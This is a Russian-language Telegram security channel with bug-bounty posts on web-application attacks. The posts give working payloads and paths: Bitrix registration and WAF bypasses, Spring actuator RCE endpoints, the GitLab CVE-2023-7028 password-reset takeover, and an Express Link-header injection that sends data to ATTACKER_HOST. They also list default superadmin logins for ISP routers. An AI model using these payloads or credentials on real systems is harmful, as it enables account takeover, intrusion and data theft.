Кавычка
16.4K subscribers
83 photos
2 videos
12 files
184 links
Практическая безопасность. Уязвимости и атаки на веб-приложения.

Чат @WebPwnChat

Только авторский контент, без репостов и рекламы (простите).

Вместо лайка:
https://t.iss.one/webpwn?boost

Платный канал:
https://t.iss.one/tribute/app?startapp=s2Vr
Download Telegram
#api #params #tool

Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.

Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.

public class User {
private String userid;
private String password;
private String email;
private boolean isAdmin;
}

Чтобы правильно и эффективно находить такие вещи, нам нужен подход или утилита. Самые известные вот эти две: Param Miner и Arjun

Первая это плагин для BurpSuite. Вторая — консольная утилита на Python.

Относительно недавно, появилась новая консольная утилита x8

Она написана на языке Rust, разработчиком является багхантер @sh1y0
Около 40% уязвимостей на h1 он нашёл с её использованием

К слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей.

На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему.

1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500).

Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров:

/?param1=test&param2=test&...&param500=test

Проблема здесь заключается в том, что многие серверы будут отдавать 414 URI Too Long, либо банально игнорировать последние 200 параметров. Таким образом, даже если в вашем текстовом файле есть нужный параметр — он не будет найден.

2. Ещё одним важным отличием являются функции сравнения ответов на странице.

Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ.

Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime.

x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.

HTTP/1.1 200 OK
Content-Length: 18

<html>
- Time 13:36:23

<id="test">

Как видно из примера, строка которая содержит время, исключена и помечена как динамическая.

HTTP/1.1 200 OK
Content-Length: 37

<html>
- Time 13:37:48

+ <id="admin_param">

Здесь x8 понимает, что параметр найден из-за изменений в теге id.

3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском.

Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах.

Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/
Так можно оценить эффективность работы на реальных сайтах.

Пример использования: x8 -u "https://example.com/" -w <wordlist>
🔥129❤‍🔥10
Ценная штука - actuator.

Как правило, ценность в зависимости от того, что в нем находится:

/actuator/env - показывает переменные окружения, при отправке POST запроса (в виде JSON, если Spring Boot 2), умеет в RCE или утечку данных.
/actuator/heapdump - моментальный снимок памяти процесса, разумеется с чувствительной информацией, такой как креды подключения или чьи-то сессии или sql запросы
/actuator/jolokia - роут для управления Jolokia через HTTP, смотреть в jolokia-exploitation-toolkit
/actuator/gateway - позволяет писать свои роуты к actuator’у, эксплуатируя как SSRF, так и RCE

[1], [2], [3]
🔥86❤‍🔥9
rsvgeb.py
6.3 KB
rsvgёb

Есть librsvg — либа в целом надежная, написана на rust. Она парсит svg и умеет их рендерить в png.

Особенность в том, что в svg можно встраивать обычные растровые изображения (через <image xlink:href="data:...>). Для их парсинга там используется либа libgdk-pixbuf, она написана на C.

libgdk-pixbuf умеет поточно читать изображения и из-за этого есть баг: если изображение не совсем до конца дописано, то часть буфера с данными останется неинициализированным, а ошибки настоящей иногда не происходят. В результате при парсинге svg в превьюху может попасть память приложения. Чем-то похожа на gifoёb.

Эксплойт прилагается.

>
🔥77❤‍🔥7
Memcache классный, потому что находится на порту 11211 и работает как по TCP, так и по UDP. И часто забывают закрыть именно UDP порт.
До того как это стало мейнстримом, и его начали юзать для амплификации в DDoS атаках, раза три сдавал в багбаунти MailRu.

Ценность/импакт - это key-value база данных, часто кэшируют данные юзеров, в том числе сессии, пароли.
Юзаю этот дампер, скорее всего на гитхабе уже есть кайфовее.

>
🔥117❤‍🔥9
#electron
Через XSS или открытие стороннего url (контролируемый атакующим), можно записать стрим с экрана, камеры, аудио.
Даже висит ишью, https://github.com/electron/electron/issues/19017.

Основная проблема в том, что в электроне всевозможные пермишены включены по умолчанию. Это значит что можно вызывать navigator.getUserMedia для доступа к устройствам записи аудио/видео.
Для изменения этой ситуации есть специальный метод, setPermissionRequestHandler, но еще не видел, что бы кто-то из разработчиков этим озаботился.

Единственная защита которую многие используют, это запрет на изменения location в текущем окне. Но часто забывают про изменения location во всплывающих окнах. Так же никто не застрахован от xss или использования кастомной схемы. В эту же кучу попадают приложения разрешающие использовать и делиться js-кодом. (Aka Postman)

PoC

Другие настройки:
- для записи видео с камеры:
const constraints = {audio: false, video: true};
- для записи микрофона:
const constraints = {audio: true, video: false};
🔥69❤‍🔥7
HTTP Request Splitting vulnerabilities exploitation.pdf
912.6 KB
HTTP Request Splitting vulnerabilities exploitation c конференции offzone.
Еще раз о нюансах использования $uri в конфигах nginx с примерами эксплуатации.

Первый кейс эксплуатации такого миссконфига в mail.yandex.ru, где через похожую на CSRF-атаку украли весь запрос с фронтенда (включая куки жертвы) записав их подпись письма - в самое сердечко, просто потрясающе!
🔥103
#bitrix

Карочи, в админку в битриксе иногда можно зайти просто зарегистрировавшись.
Но у многих кнопка регистрации вовсе отсутствует, но это не мешает вызвать стандартные формы:


/auth/?register=yes
/crm/?register=yes
/auth/oauth2/?register=yes



Наличие форм, кстати, тоже не обязательно, достаточно разгадать капчу (если она вообще есть) и отправить POST-запрос на регу.

Помимо стандартных путей, существуют еще demo-проекты:


/bitrix/wizards/bitrix/demo/public_files/ru/auth/index.php?register=yes
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/index.php
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/news_list.php?register=yes
/bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/subscr_edit.php?register=yes


Или можно попробовать обратиться к подобным модулям:


/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/personal/profile/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/board/my/index.php?register=yes


После регистрации (получив валидный сессионный идентификатор), можно побрутить директорию /bitrix/ следующими файликами.
🔥181❤‍🔥22
#bitrix 🚨🚨🚨

Уязвимость модуля landing системы управления содержимым сайтов (CMS) 1С-Битрикс: Управление, позволяющая нарушителю выполнить команды ОС на уязвимом узле, получить контроль над ресурсами и проникнуть во внутреннюю сеть.

Bitrix > 23.850.0
RCE, CVSS 10/10

Удаляем модуль landing, если не используется. Обновляем до версии 23.850.0 и выше, если используется.

BDU:2023-05857

Че, пацаны, анимэ?
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥94❤‍🔥1
Снова про #1С

Как пишут в документации: "Внешние обработки представляют собой обработки, которые не входят в состав прикладного решения и хранятся в отдельных файлах с расширением *. epf.".
Так же пишут: "В режиме 1С:Предприятие внешнюю обработку можно запустить на выполнение, открыв ее как любой другой файл, хранящийся на диске."

В правом верхнем углу нажимаем на "бутерброд" -> Файл -> Открыть.

Выбираем наш epf и жмём "ок".
Но только 1С может быть не только под Windows, но и под Linux. Поэтому в коллекцию еще один шелл, который универсальный и под любую операционную систему.

>
❤‍🔥38🔥14
Есть такая штука для хайлоада - MinIO

Объектное хранилище с открытым исходным кодом на Go.
Забавно, как POST запрос на ручку /minio/bootstrap/v1/verify раскрывает его секреты.

Бага прогремела (CVE-2023-28432) в Китае (вот разбор), а у нас чет не встречал, пока сам не наткнулся.
🔥126❤‍🔥1
В nginx есть забавный заголовок - X-Accel-Redirect

Служит для доступа к internal локейшенам для внутреннего перенаправления запросов от веб-сервера к backend-серверу, в частности, используется для эффективной отдачи файлов юзерам.
Короч, это позволяет использовать nginx как прокси-сервер для статических файлов (освобождает его ресурсы и повышает производительность).

В Apache и lighttpd есть подобный X-Sendfile

Если в какой-то атаке, например в CRLF мы сможем его контролировать, то эту фичу можно использовать как обход закрытых директорий или как выход из директории.

Инфа и примеры: тыц, тыц, тыц, тыц, тыц
🔥101❤‍🔥13
/var/run/docker.sock

Видишь docker.sock - можно поиграть в пост-эксплуатацию, выполняя команды. Вот пример монтирования файловой системы и выполнения реверс-шелла.
🔥76❤‍🔥1
Роутер от провайдера

Для меня было откровением, когда я подключил интернет, сменил дефолтный пароль от админа, а оказалось, что есть еще "суперадмин".

В моем случае, в роутере от МГТС, был следующий root:

mgts;mtsoao

На Ростелекоме (в частности, на роутерах от huawei), бывают следующие пары логинов и паролей:

telecomadmin;admintelecom
telecomadmin;NWTF5x%RaK8mVbD
telecomadmin;NWTF5x%
telecomadmin;nE7jA%5m
🔥207❤‍🔥21
Метод TRACE

Помимо GET, POST, etc - есть еще и метод трассировки TRACE. Если пользуетесь burp'ом, он вам его подсветит, так как бага старше большиства багхантеров.

Что дает? Дает посмотреть весь HTTP запрос на сервере, в котором могут быть и секретные секреты, как например ключи пользователя или какие-то уникальные uuid для интеграции, x-forwarded-for и прочие служебные заголовки. Но не всегда.

Но не так давно прочитал забавности, что метод можно переопределить через
GET /path.html?_method=TRACE HTTP/1.1
или заголовок
_method: TRACE

>
🔥124❤‍🔥11
#bitrix #php

В PHP точки, пробелы и "[" в именах запросов автоматически переименовываются в нижнее подчеркивание. А "+" в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF.

Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр:

/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/

если кто-то предусмотрел такую возможность, то можно поиграть с следующими именами:


/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/
/pewpew/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/
/pewpew/?SEF.APPLICATION%20CUR+PAGE[URL=/bitrix/admin/

PoC

>
🔥97❤‍🔥7
Короч, Apache Dubbo — это такая штука, которая часто используется для хайлоада, рядом. Разработчики говорят, что умеет помимо RPC еще и в WEB, поэтому давайте на нем делать микросервисы, но я особо их не видел (может не популярный в СНГ). А еще на минуточку, это один из самых популярных проектов на github (~40k звезд на момент написания).

Порт 28080, полезен сам по себе, так как через него можно посмотреть все классы и методы, и часто даёт RCE. Например из последнего CVE-2023-23638, или чуть старее.

>
🔥42
Forwarded from Двойная кавычка (Slonser)
Интересный вектор Client-Side атаки

Многие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки.

Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже.

Потому что links внутри express написана так:

res.links = function(links){
var link = this.get('Link') || '';
if (link) link += ', ';
return this.set('Link', link + Object.keys(links).map(function(rel){
return '<' + links[rel] + '>; rel="' + rel + '"';
}).join(', '));
};

Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответы
Следовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'ов
Пример с реального уязвимого сайта выглядит как-то так:

https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",

Так что полный чейн выглядит так:
1. Направляем пользователя на наш сайт
2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс
3. По отстукам на хост понимаем результаты поиска на странице пользователя

Разработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро)
(Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер )

>
🔥69❤‍🔥8
#gitlab

Забавная логическая уязвимость в Gitlab - CVE-2023-7028

Можно переопределить почту в механизме восстановления пароля, передав специально сформированный запрос, в котором в нулевом элементе массива будет валидный email, а в следующем - злоумышленника.

PoC:

user[email][][email protected]&user[email][][email protected]

Для проверки фактов компрометации систем предлагается оценить в логе gitlab-rails/production_json.log наличие HTTP-запросов к обработчику /users/password с указанием массива из нескольких email в параметре "`params.value.email`". Также предлагается проверить наличие в логе gitlab-rails/audit_json.log записей со значением PasswordsController#create в meta.caller.id и указанием массива из нескольких адресов в блоке target_details. Атака не может быть доведена до конца при включении пользователем двухфакторной аутентификации.


Проблема проявляется начиная с выпуска GitLab 16.1.0, в котором появилась возможность отправки кода восстановления пароля на неверифицированный запасной email-адрес.

>
🔥71❤‍🔥5
Роскомнадзор будет блокировать сайты с информацией об обходе блокировок

А пока не блокирует - просили рассказать))

Короч, сижу в инсте. Бесило, что нужно постоянно подрубать vpn, когда нужно зайти в инсту. И отрубать, когда заходишь в банк, доставку еды и прочие госуслуги.

Берем московскую виртуалку (юзаю selectel), ставим на неё zapret - это аналог GoodbyeDPI под linux.
Ну там нужно сначала запустить install, потом сделать чек через blockcheck.sh, лично я тестил на instagram.com. После чего поставить обход блокировки, который подходит для текущего провайдера.

Сверху поставил изичный wireguard

Качаешь прилку wireguard, цепляешься к своему серверу, наслаждаешься.

Что имеем:
* защищенное (over TLS) соединение - можно юзать публичные wifi с минимизацией риска MITM
* рос-четтам-надзор не блокирует wireguard соединения в рамках РФ
* открываются всякие фэйсбуки инстаграмы
* открываются банки и госуслуги

>
🔥113❤‍🔥14